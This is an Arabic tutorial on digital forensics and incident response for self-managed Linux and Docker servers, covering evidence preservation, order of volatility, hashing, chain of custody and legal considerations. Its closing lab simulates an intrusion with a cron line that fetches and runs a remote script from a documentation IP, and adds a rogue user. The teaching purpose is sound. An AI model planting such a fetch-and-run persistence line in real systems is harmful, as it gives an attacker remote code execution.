التحقيق الرقمي DFIR للمبتدئين: احفظ الأدلة قبل أن تنظف السيرفر

لنفرض أنك دخلت صباحاً إلى السيرفر فوجدت المعالج يعمل بنسبة مئة في المئة، أو وجدت ملفات قاعدة البيانات مشفرة وبجانبها رسالة تطلب فدية Ransom، أو وصلك من أحد العملاء رابط لملف من ملفات شركتك منشور في منتدى، أو لاحظت أن موظفاً قام بتنزيل آلاف السجلات قبل يوم من استقالته. ورد الفعل الأول عند أغلب الفرق واحد: نعيد تشغيل السيرفر، ثم نحذف الملفات الغريبة، ثم نعيد تثبيت النظام من الصفر ونستعيد آخر نسخة احتياطية، وبعد ساعتين يعود كل شيء للعمل ويشعر الجميع بالارتياح. والمشكلة أن هذه الخطوات نفسها هي التي تمسح الأدلة التي تخبرك كيف دخل المخترق، ومتى دخل، وماذا أخذ، وهل ما زال في مكان آخر من شبكتك، وبالتالي فأنت تعيد بناء السيرفر وتترك الباب الذي دخل منه مفتوحاً كما هو.

والمجال الذي يجيب عن هذه الأسئلة هو التحقيق الرقمي Digital Forensics، وعندما يعمل مع إدارة الحوادث يسمى Digital Forensics and Incident Response واختصاراً DFIR. وهذا المقال هو الجزء الأول من موضوعين: هنا سوف نتناول المفاهيم والمراحل وما تفعله وما لا تفعله، أما الأدوات مفتوحة المصدر وطريقة استخدامها خطوة بخطوة فقد شرحناها في دليل أدوات التحقيق الرقمي مفتوحة المصدر، وكلاهما من مرحلة الأمن السيبراني في خارطة الطريق. وسوف نناقش في هذا المقال ما يلي:

• لماذا تمسح خطوات التنظيف المعتادة الأدلة، ولماذا تحتاج أن تعرف ما حدث قبل أن تنظف.
• المصطلحات التي سوف تقابلها في أي تقرير أو أداة: الدليل Evidence والأثر Artefact ومؤشرات الاختراق IOC والفرز Triage والتحليل الحي والتحليل دون تشغيل ونسخة القرص ونسخة الذاكرة وغيرها.
• مراحل التحقيق كما تصفها المراجع الرسمية: NIST SP 800-86 وNIST SP 800-61 Rev. 3 والوثيقة RFC 3227.
• ترتيب التقلب Order of Volatility، ولماذا تجمع الذاكرة قبل القرص.
• سلامة الدليل: الهاش Hash والعمل على نسخة وسلسلة الحيازة Chain of Custody، مع تجربة صغيرة، ثم الجانب القانوني والموارد البشرية.
• أين تجد الأدلة على سيرفر تديره بنفسك، بما في ذلك Docker.
• ما تجهزه قبل أن تقع الحادثة، والأخطاء الشائعة، وقائمة الساعة الأولى لسيرفر Linux مشكوك فيه.

لماذا لا تبدأ بإعادة التشغيل والتنظيف؟

عندما يكتشف الفريق اختراقاً فإن الضغط كله يكون باتجاه واحد هو أن تعود الخدمة للعمل، فالإدارة تسأل والعملاء يتصلون، ولذلك تبدو إعادة التشغيل Reboot والحذف وإعادة التثبيت هي الحل الطبيعي، وهي في الحقيقة تحل مشكلة اليوم فقط. ولنمر على ما يحدث في كل خطوة منها:

• إعادة التشغيل: كل ما في الذاكرة RAM يختفي، أي البرامج التي كانت تعمل والاتصالات المفتوحة مع سيرفر المخترق والملفات المؤقتة في أنظمة الملفات المؤقتة tmpfs، وبعض البرمجيات الخبيثة Malware تعمل من الذاكرة فقط ولا تترك ملفاً على القرص، فإذا أعدت التشغيل لن تجد لها أثراً. والوثيقة RFC 3227 تذكر سبباً آخر، وهو أن المخترق قد يكون عدل سكربتات الإيقاف والتشغيل حتى تمسح آثاره عند الإيقاف.
• حذف الملفات الغريبة: الملف الذي حذفته هو نفسه الدليل، ومعه تاريخ إنشائه وصاحبه ومكانه، وكل هذه المعلومات تساعدك أن تعرف متى بدأ الاختراق.
• إعادة التثبيت واستعادة النسخة الاحتياطية: القرص كله يكتب من جديد، فتضيع السجلات Logs وسجل الأوامر والمستخدمون الجدد ومفاتيح SSH المزروعة، والأخطر أن النسخة الاحتياطية نفسها قد تكون أخذت بعد دخول المخترق، فتستعيد السيرفر ومعه الباب الخلفي Backdoor.

والنتيجة أن السيرفر يعود للعمل ولكن لا أحد يستطيع أن يجيب عن الأسئلة الأهم: من أين دخل المخترق؟ هل كانت ثغرة في تطبيق لم يحدث، أم كلمة مرور مسربة، أم مفتاح SSH على جهاز موظف؟ وماذا أخذ، وهل فيه بيانات شخصية لعملائك يجب أن تبلغ عنها؟ وهل وصل إلى سيرفرات أخرى؟ وإذا لم تعرف من أين دخل فسوف يدخل من المكان نفسه إلى السيرفر الجديد، وقد يكون ذلك بعد أيام.

وقد يتساءل البعض: هل هذا يعني أن نترك السيرفر المخترق يعمل حتى ننتهي من التحقيق؟ والإجابة لا، فالحل ليس أن تختار بين التنظيف والتحقيق، وإنما أن ترتب الخطوات: تعزل السيرفر عن الشبكة حتى يتوقف الضرر، ثم تحفظ الذاكرة والقرص وتحسب الهاش لكل منهما، ثم تبني سيرفراً نظيفاً، وتحلل النسخ المحفوظة على جهاز آخر وعلى مهلك. والصورة التالية تبين الفرق بين الطريقتين:

والتحقيق ليس للاختراقات الكبيرة وحدها، فالأسئلة نفسها تتكرر في حالات أصغر: ملف داخلي ظهر خارج الشركة ولا تعرف من أرسله، أو موظف استخدم صلاحياته في غير عمله، أو حساب مدير دخل من دولة لم يزرها صاحبه، وفي كل هذه الحالات تحتاج أن تثبت ما حدث بأدلة لا يشكك فيها أحد، وليس بانطباعات.

المصطلحات التي سوف تقابلها

قبل أن ندخل في المراحل لنتفق على الكلمات، لأنك سوف تقابلها في كل تقرير وكل أداة، وبعضها يستخدم بمعان متقاربة:

• التحقيق الرقمي Digital Forensics: تعرفه NIST في دليل SP 800-86 بأنه تطبيق العلم على تحديد البيانات وجمعها وفحصها وتحليلها مع الحفاظ على سلامتها وعلى سلسلة حيازة صارمة لها، أي أن الهدف ليس أن تعرف ما حدث فقط، وإنما أن تستطيع إثباته.
• الاستجابة للحوادث Incident Response: كل ما تفعله الجهة من لحظة اكتشاف الحادثة حتى عودة الأنظمة، أي إيقاف الضرر وإخراج المخترق والاستعادة والتواصل مع الإدارة والعملاء. والتحقيق جزء منها، ولذلك يجمعان معاً في الاختصار DFIR.
• الدليل Evidence: أي بيانات تساعد في إثبات ما حدث أو نفيه، مثل نسخة من القرص أو ملف سجل أو لقطة من الذاكرة. ويذكر دليل NIST أن الكلمة بمعناها القانوني الدقيق تخص ما تقبله المحكمة، ولكنها تستخدم في المجال بمعنى أوسع، وهو ما نستخدمه هنا.
• الأثر Artefact: شيء يتركه النظام أو المستخدم أثناء العمل دون أن يقصد أن يكون دليلاً، مثل سطر في سجل الدخول، أو ملف ‎.bash_history، أو تاريخ تعديل ملف، أو مهمة في cron. والتحقيق في الغالب هو جمع آثار صغيرة كثيرة حتى تكتمل الصورة.
• مؤشرات الاختراق Indicators of Compromise: واختصاراً IOC، وهي علامات يمكن البحث عنها تدل على أن جهازاً ما مخترق، مثل عنوان IP لسيرفر المخترق، أو اسم نطاق Domain، أو هاش ملف خبيث، أو اسم مستخدم غريب. وتعريفها في قاموس NIST. وعندما تجد مؤشراً في سيرفر فإنك تبحث عنه في بقية السيرفرات حتى تعرف حجم الحادثة.
• الفرز Triage: فحص سريع في البداية تقرر بعده هل الحادثة حقيقية، وما أولويتها، وما الأجهزة التي تحتاج تحقيقاً كاملاً، وما يكفي فيه جمع سريع لأهم الآثار. والسبب أنك لا تستطيع أن تأخذ نسخة كاملة من كل جهاز في الشركة.
• التحليل الحي Live Analysis: جمع البيانات من الجهاز وهو يعمل، وهو الطريقة الوحيدة للحصول على الذاكرة والاتصالات والبرامج العاملة، ولكن كل أمر تشغله يغير شيئاً في الجهاز، والمخترق قد يكون استبدل أوامر النظام بنسخ تكذب عليك.
• التحليل دون تشغيل Dead أو Offline Analysis: فحص نسخة من القرص على جهاز آخر والنظام الأصلي متوقف، وهو أدق وأأمن لأن برامج المخترق لا تعمل أثناء الفحص، ولكنه لا يرى ما كان في الذاكرة.
• نسخة القرص Disk Image: نسخة بت ببت Bit-for-bit من القرص كله، بما فيها المساحات الفارغة التي قد تحتوي ملفات محذوفة، وهي تختلف عن النسخة الاحتياطية العادية التي تنسخ الملفات الموجودة فقط.
• نسخة الذاكرة Memory Image: ملف يحتوي محتوى الذاكرة RAM في لحظة معينة، ومنه تستخرج البرامج التي كانت تعمل والاتصالات وأحياناً مفاتيح التشفير وكلمات المرور.
• مانع الكتابة Write Blocker: جهاز أو برنامج يوصل القرص بجهاز التحقيق ويمنع أي كتابة عليه، حتى لا يغير نظام التشغيل في جهازك شيئاً في القرص الأصلي عند توصيله، وتعريفه في قاموس NIST.
• التحقق بالهاش Hash Verification: حساب بصمة رقمية للدليل بدالة هاش Hash Function مثل SHA-256 عند جمعه، ثم حسابها مرة أخرى قبل كل استخدام، فإذا تطابقت البصمتان فالدليل لم يتغير.
• سلسلة الحيازة Chain of Custody: سجل مكتوب لكل من استلم الدليل، ومتى، وماذا فعل به، وأين حفظه، وتعريفها في قاموس NIST.
• الخط الزمني Timeline: ترتيب كل الأحداث التي وجدتها من كل المصادر حسب وقت حدوثها، وهو في الغالب أهم ما يخرج به التحقيق، لأنه يحكي القصة: الدخول ثم رفع الصلاحيات ثم التنقل ثم إخراج البيانات.
• النطاق Scope: حدود الحادثة، أي الأجهزة والحسابات والبيانات المتأثرة والفترة الزمنية، وتحديده بدقة هو ما يمنعك من تنظيف سيرفر واحد وترك ثلاثة غيره مخترقة.

مراحل التحقيق من الإعداد إلى الدروس المستفادة

لا تحتاج أن تخترع طريقة عمل، فهناك ثلاثة مراجع رسمية يعتمد عليها أغلب المجال، وكل منها يغطي جزءاً مختلفاً:

• NIST SP 800-86 بعنوان Guide to Integrating Forensic Techniques into Incident Response، الصادر في أغسطس 2006، وهو يقسم التحقيق نفسه إلى أربع مراحل: الجمع Collection ثم الفحص Examination ثم التحليل Analysis ثم التقرير Reporting. ورغم عمره فالمراحل نفسها لم تتغير، والدليل يقول صراحة إن هناك نماذج أخرى كثيرة تختلف في التفاصيل والأسماء وتلتقي في المبادئ.
• NIST SP 800-61 Rev. 3 بعنوان Incident Response Recommendations and Considerations for Cybersecurity Risk Management: A CSF 2.0 Community Profile، صدر في أبريل 2025 وحل محل الإصدار الثاني من 2012. وأهم ما تغير فيه أنه ترك دورة الحياة القديمة (الاستعداد، ثم الاكتشاف والتحليل، ثم الاحتواء والإزالة والاستعادة، ثم ما بعد الحادثة) وربط الاستجابة بوظائف إطار NIST للأمن السيبراني CSF 2.0 الست: Govern وIdentify وProtect للاستعداد، وDetect وRespond وRecover للاستجابة نفسها، مع التحسين المستمر Improvement، والسبب كما يشرح أن الحوادث اليوم أكثر وأطول، وأن الدروس تشارك فور ظهورها ولا تنتظر نهاية الحادثة.
• RFC 3227 بعنوان Guidelines for Evidence Collection and Archiving، الصادر في فبراير 2002، وهي وثيقة قصيرة عملية عن جمع الأدلة وحفظها، ومنها ترتيب التقلب الذي سوف نشرحه بعد قليل، وقائمة بما يجب أن تتجنبه.

وإذا جمعنا هذه المراجع في خطوات يفهمها فريق صغير يدير سيرفراته بنفسه، فسوف تكون كما في الصورة التالية:

1. الاستعداد Preparation: كل ما تفعله قبل الحادثة، أي خطة مكتوبة وأرقام تواصل وسجلات مركزية وأدوات جاهزة، وسوف نفصله في قسم الاستعداد، وهو الخطوة التي تقرر نجاح كل ما بعدها.
2. التعرف على الحادثة Identification: هل ما تراه حادثة فعلاً أم خطأ في الإعداد؟ وما حجمها الأولي؟ وهنا يأتي الفرز Triage، وتبدأ بتسجيل كل شيء في دفتر الحادثة: من اكتشفها ومتى وماذا رأى.
3. الاحتواء Containment دون مسح الأدلة: توقف انتشار الضرر بأقل تغيير في السيرفر، مثل قطع اتصاله بالإنترنت من جدار الحماية عند مزود الخدمة بدل إيقافه، وتعطيل الحسابات المسروقة، وتغيير كلمات المرور من جهاز نظيف. ويذكر دليل SP 800-61r3 أن لكل استراتيجية احتواء ثمناً، فمراقبة المخترق أو التحقيق الأعمق قد يتعارضان مع العودة السريعة للعمل، والقرار هنا للإدارة وليس للفني وحده.
4. الحفظ والجمع Preservation and Acquisition: تجمع الأدلة حسب ترتيب التقلب، الذاكرة أولاً ثم القرص، وتحسب الهاش لكل نسخة، وتسجل كل خطوة في سلسلة الحيازة.
5. الفحص Examination: تستخرج البيانات المفيدة من النسخ: الملفات والسجلات والملفات المحذوفة والبرامج من نسخة الذاكرة، وكل ذلك على نسخة وليس على الأصل.
6. التحليل Analysis: تربط ما استخرجته في خط زمني واحد وتجيب عن الأسئلة التي بدأت بها: كيف دخل، ومتى، وماذا فعل، وماذا أخذ، وأين ذهب بعد ذلك، ثم تبحث عن مؤشرات الاختراق IOC في بقية الأجهزة حتى تحدد النطاق.
7. الإزالة والاستعادة Eradication and Recovery: الآن فقط تبني السيرفر من جديد، وتغلق الثغرة التي عرفتها من التحليل، وتغير كل المفاتيح وكلمات المرور التي مرت بالسيرفر، وتراقبه بعد عودته.
8. التقرير Reporting: ما حدث وكيف عرفته، مع الأدلة والهاش لكل منها، وما فعلته، وما يحتاج أن يتغير، وتكتبه بلغة تفهمها الإدارة والمستشار القانوني.
9. الدروس المستفادة Lessons Learned: ماذا كان ينقصنا؟ سجلات لم تكن موجودة، أو تحديث تأخر، أو صلاحيات أكبر من اللازم، ثم تعود بها إلى الخطوة الأولى.

لاحظ أن الخطوة السابعة جاءت بعد الرابعة، وهذا هو الفرق كله بين الطريقتين في الصورة الأولى، فالترتيب الصحيح لا يؤخر عودة الخدمة كثيراً إذا كنت مستعداً، لأن السيرفر الجديد يبنى بالتوازي مع التحليل على النسخ المحفوظة.

ترتيب التقلب: ما الذي يختفي أولاً؟

الأدلة في الجهاز ليست في مكان واحد، وبعضها يختفي أسرع من بعض، فما في الذاكرة يختفي مع إعادة التشغيل، وما في القرص يبقى حتى يكتب فوقه، وما في النسخ الاحتياطية يبقى أشهراً. ولذلك تقول الوثيقة RFC 3227 في القسم 2.1 أن تجمع الأدلة من الأكثر تقلباً إلى الأقل تقلباً، وتعطي مثالاً لهذا الترتيب في نظام نموذجي، والصورة التالية تبينه مع المكان المقابل لكل طبقة في سيرفر Linux:

1. سجلات المعالج Registers والذاكرة المؤقتة Cache: تتغير في كل لحظة، وفي الواقع العملي لا يجمعها مدير السيرفر، ولكنها في رأس القائمة حتى تفهم المبدأ.
2. جدول التوجيه Routing Table وذاكرة ARP وجدول البرامج Process Table وإحصاءات النواة Kernel والذاكرة RAM: هنا البرامج العاملة والاتصالات المفتوحة مع سيرفر المخترق والملفات المفتوحة، وهي أهم ما تجمعه في سيرفر يعمل.
3. أنظمة الملفات المؤقتة: مثل ‎/run و‎/dev/shm، و‎/tmp في التوزيعات التي تجعله tmpfs، وهذه موجودة في الذاكرة وتختفي مع إعادة التشغيل، والمخترقون يحبونها لأنها قابلة للكتابة من أي مستخدم.
4. القرص Disk: السجلات والملفات والإعدادات وبيانات Docker، وتبقى بعد إعادة التشغيل، ولكن كل ملف جديد يكتب على القرص قد يكتب فوق ملف محذوف كان يمكن استعادته.
5. السجلات والمراقبة البعيدة Remote Logging and Monitoring: السجلات المرسلة إلى سيرفر آخر وأنظمة المراقبة، وهي من أفضل الأدلة لأن المخترق في الغالب لا يصل إليها.
6. الإعداد المادي Physical Configuration وتخطيط الشبكة Network Topology: في عالم VPS هي لوحة مزود الخدمة وقواعد جدار الحماية فيها وطريقة ربط السيرفرات ببعضها.
7. وسائط الأرشفة Archival Media: النسخ الاحتياطية Backups واللقطات Snapshots، وهي تريك كيف كانت الملفات قبل الاختراق، ولذلك تفيدك في معرفة ما تغير.

وقد يتساءل البعض: لماذا لا نأخذ نسخة القرص أولاً وهي الأكبر والأهم؟ والإجابة أن القرص سوف يبقى كما هو بعد ساعة، أما الذاكرة فلن تبقى، فإذا انقطعت الكهرباء أو أعاد أحد الزملاء تشغيل السيرفر فقد ضاع كل ما فيها، وفيها أشياء لا تجدها في أي مكان آخر، مثل برنامج خبيث يعمل من الذاكرة فقط، أو اتصال مفتوح يكشف عنوان سيرفر المخترق، أو أمر تم تشغيله ثم حذف ملفه. ويذكر دليل SP 800-86 مثالاً آخر، وهو أن الذاكرة قد تحتوي بيانات من أداة تشفير استخدمت مؤخراً.

ولكن جمع الذاكرة من جهاز يعمل له ثمن أيضاً، فكل أمر تشغله يغير شيئاً في الذاكرة، والدليل نفسه يحذر من أن المخترق قد يكون ثبت Rootkit يعدل ما تعرضه أوامر النظام، ولذلك ينصح أن تشغل أدوات الجمع من وسيط خارجي موثوق وأن تكون Statically Linked لا تعتمد على مكتبات السيرفر، وأن توثق ما تراه على الشاشة قبل أن تلمس الجهاز. والقرار بين أن تجمع الذاكرة أو لا تجمعها يجب أن يكون مكتوباً في خطتك قبل الحادثة، لأنك لن تجد وقتاً للتفكير فيه أثناءها. وطريقة جمع الذاكرة على Linux بالأدوات مفتوحة المصدر شرحناها في دليل الأدوات.

سلامة الدليل: الهاش والنسخ وسلسلة الحيازة

الدليل الذي لا تستطيع أن تثبت أنه لم يتغير يفقد قيمته، فإذا قال أحد إن الملف عدل بعد جمعه أو إن السجل أضيف إليه سطر، فيجب أن تملك ما يرد عليه. والطريقة كما يصفها دليل SP 800-86 أن تحسب الهاش Message Digest للأصل وللنسخة وتقارن بينهما، ثم تعمل على النسخة فقط، وتسجل كل من لمس الدليل. والصورة التالية تبين هذا المسار:

تجربة صغيرة: الهاش يكشف تغيير بايت واحد

لنأخذ مثالاً عملياً صغيراً، وسوف نشغله داخل Container من Alpine حتى لا نلمس أي شيء في جهازك. نبدأ بتشغيل ال Container:

docker run --rm -it --name lab-dfir-hash alpine:3.24 sh

ثم ننشئ ملفاً حجمه 64 ميجابايت يمثل نسخة القرص disk.img، ونحسب الهاش SHA-256 له ونحفظه في ملف بجانبه، وهذا ما تفعله تماماً بعد أخذ نسخة من قرص حقيقي:

mkdir -p /evidence && cd /evidence
dd if=/dev/urandom of=disk.img bs=1M count=64 2>/dev/null
sha256sum disk.img | tee disk.img.sha256

والمخرج سوف يكون كما يلي (القيمة عندك مختلفة لأن المحتوى عشوائي):

8e67561052c2514edada2cf1ec978da224e2c244904967cba8ea20620ce98838  disk.img

الآن نأخذ نسخة عمل Working Copy ونحسب الهاش لها، ثم نتحقق من الأصل بالخيار -c الذي يقرأ الهاش المحفوظ ويقارنه:

cp disk.img working-copy.img
sha256sum working-copy.img
sha256sum -c disk.img.sha256

والمخرج سوف يكون كما يلي:

8e67561052c2514edada2cf1ec978da224e2c244904967cba8ea20620ce98838  working-copy.img
disk.img: OK

الآن نكسر الأمر حتى نفهمه، فنغير بايتاً واحداً فقط في نسخة العمل عند الميجابايت الأول، ثم نحسب الهاش من جديد، ثم نتحقق منها مقابل الهاش الأصلي:

printf "X" | dd of=working-copy.img bs=1 seek=1048576 conv=notrunc 2>/dev/null
sha256sum working-copy.img
cp disk.img.sha256 copy.sha256; sed -i "s/disk.img/working-copy.img/" copy.sha256
sha256sum -c copy.sha256; echo "exit=$?"

والمخرج سوف يكون كما يلي:

bcf04008b036e60556877f511c42b086373edf1945effb0a872223d42d9c9d45  working-copy.img
working-copy.img: FAILED
sha256sum: WARNING: 1 of 1 computed checksums did NOT match
exit=1

في الإعداد أعلاه لاحظ التالي:

• الهاش للأصل وللنسخة متطابق تماماً، وهذا هو الإثبات أن النسخة مطابقة للأصل بتاً ببت، ولذلك تعمل على النسخة وتحفظ الأصل مغلقاً.
• تغيير بايت واحد من 67 مليون بايت غير الهاش كله، وليس آخره فقط، وهذه خاصية في دوال الهاش الحديثة، فلا توجد طريقة لتعديل الدليل مع الحفاظ على الهاش نفسه.
• الأمر sha256sum -c يرجع رمز خروج Exit Code غير الصفر عند الفشل، فتستطيع أن تضعه في سكربت يتحقق من كل الأدلة قبل أي تحليل، كما في صفحة الدليل.
• الملف disk.img.sha256 نفسه يجب أن يحفظ في مكان آخر غير مكان الدليل، وأن يكتب الهاش في سجل سلسلة الحيازة، والسبب أن من يستطيع تعديل الدليل يستطيع تعديل ملف الهاش بجانبه.

وبعد الخروج من ال Container يحذف تلقائياً بسبب الخيار --rm، فلا يبقى في جهازك شيء.

موانع الكتابة والعمل على نسخة

عندما توصل قرصاً بحاسوبك فإن نظام التشغيل قد يكتب عليه دون أن تطلب، مثل تحديث وقت الوصول للملفات أو إصلاح نظام الملفات تلقائياً، ولذلك يشرح دليل SP 800-86 استخدام مانع الكتابة Write Blocker عند نسخ الأقراص المادية، سواء كان جهازاً يوصل بين القرص وحاسوب التحقيق، أو برنامجاً يمنع الكتابة، ويذكر أن الجهاز المادي يعطي ضماناً أكبر. وهذا مهم مع أقراص الحواسيب المحمولة للموظفين والسيرفرات في مكتبك، أما في VPS فلا يوجد قرص تمسكه بيدك، والبديل الأقرب أن تأخذ لقطة Snapshot للقرص من لوحة مزود الخدمة، لأنها تؤخذ من خارج النظام دون أن تشغل أي أمر داخل السيرفر المخترق، ثم تنشئ منها قرصاً تربطه بسيرفر تحقيق منفصل للقراءة فقط، وتذكر أن لقطة القرص لا تتضمن الذاكرة.

والقاعدة في الحالتين واحدة: لا تقم بفحص الأصل أبداً، والسبب أن أي خطأ في الفحص (أمر خاطئ، أو أداة تكتب ملفات مؤقتة، أو تركيب Mount للقرص بصلاحية الكتابة) يغير الدليل ولا يمكن الرجوع عنه، أما النسخة فإذا أفسدتها أخذت نسخة جديدة من الأصل.

سلسلة الحيازة: ماذا تكتب في النموذج؟

تحدد الوثيقة RFC 3227 في القسم 4.1 ما يجب أن يوثق: أين ومتى ومن اكتشف الدليل وجمعه، وأين ومتى ومن تعامل معه أو فحصه، ومن كان يحتفظ به وفي أي فترة وكيف حفظ، ومتى انتقل من شخص إلى آخر وكيف. وفي العمل اليومي يتحول هذا إلى نموذج فيه الحقول التالية:

• رقم الدليل Evidence ID: رقم فريد مثل EV-01، ولكل نسخة رقم مشتق منه مثل EV-01a.
• الوصف: ما هو الدليل ومن أين جاء، مثل «نسخة القرص الرئيسي للسيرفر app-01، الرقم التسلسلي للقرص أو معرف اللقطة في لوحة المزود».
• الوقت بتوقيت UTC: لكل حركة على الدليل، وليس بالتوقيت المحلي، والسبب نشرحه في قسم الاستعداد.
• من سلم ومن استلم: الاسم والصفة لكل طرف.
• الإجراء: جمع، أو نسخ، أو تحقق من الهاش، أو فحص، أو حفظ في الخزانة، مع الأداة وإصدارها إن وجدت.
• الهاش: قيمة SHA-256 عند كل انتقال، حتى يظهر فوراً إذا تغير الدليل بين شخصين.
• مكان الحفظ: أين حفظ الدليل ومن يملك الوصول إليه، والوثيقة نفسها تطلب أن يكون الوصول محدوداً جداً وموثقاً وأن يمكن اكتشاف أي وصول غير مصرح به.
• التوقيع: توقيع كل طرف، ورقياً أو بتوقيع رقمي.

وقد يتساءل البعض: هل نحتاج كل هذا في حادثة صغيرة لن تصل إلى المحكمة؟ والإجابة أن دليل SP 800-61r3 يقر بأن إجراءات سلسلة الحيازة الرسمية قد لا تطبق في كل حادثة، لأن أغلب حوادث البرمجيات الخبيثة لا تنتهي بقضية، ولكنه يؤكد أن البيانات التي تجمعها تبقى أدلة، وأن تحفظها حسب إجراءات الجهة وسياسة الاحتفاظ بالبيانات. وأنت لا تعرف في الساعة الأولى هل سوف تنتهي الحادثة بفصل موظف أو بقضية أو ببلاغ رسمي، والسجل الذي لم تكتبه في البداية لا يمكن كتابته بعد شهر.

الجانب القانوني والموارد البشرية

التحقيق الرقمي يلمس بيانات أشخاص، فسجلات الدخول تبين متى عمل كل موظف، والبريد والملفات فيها أمور شخصية، ولذلك فهو ليس قراراً فنياً فقط:

• أشرك المستشار القانوني مبكراً: يذكر دليل SP 800-86 أن قرار جمع الأدلة بطريقة تصلح لإجراءات قانونية أو تأديبية يتخذ قبل البدء، من المحلل أو الإدارة وفق سياسات الجهة ومستشاريها القانونيين، فإذا كانت الحادثة تخص موظفاً بعينه أو بيانات عملاء فلا تبدأ دون الرجوع إليهم.
• الخصوصية: توصي الوثيقة RFC 3227 في القسم 2.3 أن تحترم قواعد الخصوصية في جهتك وفي بلدك، وألا تجمع من أماكن لا يحق لك الوصول إليها عادة (مثل الملفات الشخصية للموظفين) إلا بمؤشر كاف على حادثة حقيقية، وأن تكون خطواتك مدعومة بإجراءات معتمدة في الجهة، وأن تحمي ما جمعته من وصول من لا يحتاجه.
• البيانات الشخصية: إذا كانت الحادثة تشمل بيانات شخصية لأفراد في السعودية فراجع مع المستشار القانوني ما يتطلبه نظام حماية البيانات الشخصية PDPL، والمنصة الرسمية للنظام على منصة حوكمة البيانات الوطنية تقدم خدمة «إشعار تسرب بيانات شخصية»، فاعرف مسبقاً متى يلزمك استخدامها ومن يقوم بذلك.
• الجهات الرسمية: إذا كانت الحادثة جريمة (ابتزاز أو فدية أو سرقة بيانات) فقرار إبلاغ الجهات المختصة تتخذه الإدارة مع المستشار القانوني، وحفظك للأدلة بالطريقة التي شرحناها هو ما يجعلها قابلة للاستخدام إذا طلبتها تلك الجهات.
• الموارد البشرية: في الحوادث التي تخص موظفاً لا تقم بمواجهته ولا بتعطيل حسابه قبل التنسيق مع الموارد البشرية والمستشار القانوني، والسبب أن ذلك قد ينبهه فيحذف ما على جهازه، وأن الإجراء التأديبي يحتاج أدلة محفوظة بطريقة صحيحة. وإذا كانت أجهزة الموظفين مدارة مركزياً كما شرحنا في دليل إدارة أجهزة الموظفين وتأمينها MDM فسوف تجد سجلات أكثر وتستطيع عزل الجهاز عن بعد.

وهذا القسم ليس استشارة قانونية، فالأنظمة تختلف من بلد إلى آخر ومن قطاع إلى آخر، والمرجع هو المستشار القانوني لجهتك والنصوص الرسمية.

أين تجد الأدلة على سيرفرك؟

في سيرفر تديره بنفسك وعليه Docker وReverse Proxy وعدد من التطبيقات، فالأدلة موزعة على أماكن كثيرة، وكل مكان يجيب عن سؤال مختلف، والصورة التالية تبينها:

• سجلات الدخول والنظام: في Debian وUbuntu الملف ‎/var/log/auth.log، وفي عائلة Red Hat الملف ‎/var/log/secure، وفي الأنظمة التي تستخدم systemd تجد السجلات أيضاً في journald عبر journalctl. ومنها تعرف من دخل عبر SSH ومن أي عنوان، ومحاولات الدخول الفاشلة، وكل أمر شغل عبر sudo. والأوامر last وlastlog تقرأ سجلات الدخول wtmp وlastlog.
• سجلات ال Reverse Proxy: سجل الوصول Access Log في Nginx أو Traefik أو Caddy يبين كل طلب: العنوان والوقت والمسار ورمز الاستجابة، ومنه تعرف أي صفحة استغلت، ومتى بدأ المسح، وهل خرجت ملفات كبيرة. وهي السجلات نفسها التي يقرأها fail2ban وCrowdSec كما في دليل حماية تطبيقات الويب على مستوى HTTP.
• سجلات التطبيقات: سجل التدقيق Audit Log في تطبيقاتك (مثل Gitea أو authentik أو لوحة الإدارة) يبين من دخل ومن غير الصلاحيات ومن صدر البيانات، وهو في الغالب الدليل الوحيد على ما فعله المستخدم داخل التطبيق. وإدارة الحسابات المميزة ومراقبتها شرحناها في دليل إدارة الهوية والوصول IAM والوصول المميز PAM.
• Containers في Docker: ثلاثة أشياء فيها: المخرج الذي يقرؤه docker logs، والملفات التي تغيرت داخل ال Container ويعرضها docker diff، والإعداد (المنافذ وال Volumes والمتغيرات) الذي يعرضه docker inspect، وسوف نرى مثالاً بعد قليل.
• سجل الأوامر Shell History: الملف ‎~/.bash_history لكل مستخدم وللمستخدم root، ويذكر دليل Bash أن الأوامر تكتب فيه عند خروج الجلسة، أي أن جلسة المخترق المفتوحة الآن لم تكتب أوامرها بعد. والمخترق الحذر يمسح هذا الملف أو يعطله، ولذلك فإن ملفاً فارغاً أو محذوفاً لمستخدم يعمل كل يوم هو أثر بحد ذاته.
• مهام cron وsystemd: المخترق يريد أن يعود بعد إعادة التشغيل، فيضع مهمة في crontab أو في ‎/etc/cron.d، أو ينشئ خدمة أو مؤقتاً في systemd، وتعرض المؤقتات بالأمر systemctl list-timers كما في صفحة systemd.timer. وهذا ما يسمى الاستمرار Persistence، ويذكر دليل SP 800-61r3 البحث عن أدلة الاستمرار مع مؤشرات الاختراق.
• المستخدمون ومفاتيح SSH: مستخدم جديد في ‎/etc/passwd، أو مستخدم أضيف إلى مجموعة sudo، أو مفتاح جديد في ‎~/.ssh/authorized_keys، وهذه أشهر الأبواب الخلفية لأنها تبدو عادية. وتاريخ تعديل هذه الملفات يساعدك في الخط الزمني.
• الاتصالات الشبكية: الأمر ss يعرض الاتصالات المفتوحة والبرنامج المسؤول عن كل منها، فاتصال خارج من برنامج غريب إلى عنوان لا تعرفه قد يكون قناة التحكم Command and Control، وهذه البيانات تختفي مع إعادة التشغيل.
• الذاكرة: كل ما سبق من برامج واتصالات، وما لا تراه في القرص، كما شرحنا في قسم ترتيب التقلب.

وخارج السيرفر ثلاثة أماكن مهمة جداً: سيرفر السجلات المركزي الذي يستقبل نسخة من السجلات لحظة كتابتها فلا يستطيع المخترق أن يمسحها حتى لو أصبح root، ولوحة مزود الخدمة التي فيها سجل الدخول إلى اللوحة نفسها وقواعد جدار الحماية واللقطات، والنسخ الاحتياطية التي تقارن بها الملفات حتى تعرف ما تغير.

تجربة: ما الذي يكشفه docker diff؟

لنفرض أن مخترقاً دخل إلى Container وأضاف مستخدماً ومهمة cron تنزل سكربتاً كل دقيقة، ووضع ملفاً في مجلد مخفي، وحذف ملفاً. سوف نحاكي ذلك في Container من Alpine (العنوان 203.0.113.10 من العناوين المخصصة للتوثيق ولا يعمل):

docker run --name lab-dfir-web alpine:3.24 sh -c 'adduser -D -s /bin/sh support </dev/null; echo "* * * * * wget -qO- http://203.0.113.10/x.sh | sh" >> /etc/crontabs/root; mkdir -p /tmp/.cache; echo payload > /tmp/.cache/kworker; rm /etc/motd'
docker diff lab-dfir-web

والمخرج سوف يكون كما يلي:

C /etc
C /etc/crontabs
C /etc/crontabs/root
A /etc/group-
C /etc/shadow
C /etc/group
C /etc/passwd
A /etc/passwd-
A /etc/shadow-
D /etc/motd
C /home
A /home/support
C /tmp
A /tmp/.cache
